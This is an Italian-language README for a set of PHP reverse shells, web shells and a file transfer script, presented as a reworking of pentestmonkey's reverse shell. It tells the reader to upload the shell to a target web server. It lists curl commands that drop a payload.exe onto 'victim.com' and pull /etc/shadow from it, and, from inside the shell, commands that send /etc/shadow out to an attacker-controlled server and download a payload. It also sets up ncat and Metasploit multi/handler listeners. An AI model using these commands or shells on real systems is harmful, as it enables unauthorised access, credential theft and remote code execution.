
Shell PHP che funzionano su sistemi operativi Linux, macOS e Windows.
Solo una piccola rivisitazione del popolare script PHP reverse shell pentestmonkey/php-reverse-shell. Crediti all'autore originale!
Funziona su sistemi operativi Linux e macOS con /bin/sh e su sistemi operativi Windows con cmd.exe. Lo script rileverà automaticamente il sistema operativo sottostante.
Funziona sia con ncat che con multi/handler.
Testato su:
Le pipe di processo su sistemi operativi Windows non supportano operazioni asincrone, quindi stream_set_blocking(), stream_select() e feof() non funzioneranno correttamente, ma ho trovato una soluzione alternativa.
Realizzato a scopo educativo. Spero che possa essere d'aiuto!
/src/reverse/php_reverse_shell.php richiede PHP v5.0.0 o superiore.
/src/reverse/php_reverse_shell_older.php richiede PHP v4.3.0 o superiore.
Modifica l'indirizzo IP e il numero di porta all'interno degli script come necessario.
Copia /src/reverse/php_reverse_shell.php nella directory radice web del tuo server (ad es. in /opt/lampp/htdocs/ su XAMPP) o caricalo sul web server del tuo target.
Naviga fino al file con il tuo browser web preferito.
Dai un'occhiata alla semplice web shell PHP basata su richiesta HTTP POST.
Dai un'occhiata alla semplice web shell PHP basata su richiesta HTTP GET. Devi codificare l'URL dei tuoi comandi.
Dai un'occhiata alla semplice web shell PHP v2 basata su richiesta HTTP GET. Devi codificare l'URL dei tuoi comandi.
Dai un'occhiata al semplice script PHP di upload/download di file basato su richiesta HTTP POST per l'upload di file e richiesta HTTP GET per il download di file.
Quando scarichi un file, devi codificare l'URL del percorso del file.
A seconda della configurazione del server, il download di un file tramite parametro di richiesta HTTP GET potrebbe non funzionare sempre; in tal caso, dovrai hardcodare il percorso del file nello script.
Naviga fino allo script sul web server della vittima con il tuo browser web preferito, oppure usa cURL dal tuo PC.
Carica un file nella directory radice web del server dal tuo PC:
curl -skL -X POST https://victim.com/files.php -F file=@/root/payload.exe
Scarica un file dal server sul tuo PC:
curl -skL -X GET https://victim.com/files.php?file=/etc/shadow -o shadow
Se hai elevato i tuoi privilegi iniziali all'interno della tua reverse shell, questo script potrebbe non avere gli stessi privilegi della shell. In tal caso, per scaricare un determinato file, potresti dover copiare il file nella directory radice web e impostare i permessi di lettura necessari.
Dalla tua reverse shell PHP, esegui i seguenti comandi cURL.
Carica un file dal PC della vittima alla directory radice web del tuo server:
curl -skL -X POST https://my-server.com/files.php -F file=@/etc/shadow
Scarica un file dalla directory radice web del tuo server sul PC della vittima:
curl -skL -X GET https://my-server.com/files.php?file=/root/payload.exe -o payload.exe
curl -skL -X GET https://my-server.com/payload.exe -o payload.exe
Per configurare un listener, apri la tua console preferita su Kali Linux ed esegui uno degli esempi qui sotto.
Configura il listener ncat:
ncat -nvlp 9000
Configura il listener multi/handler:
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.8.185
set LPORT 9000
exploit

Figura 1 - Ncat

Figura 2 - Dump dello script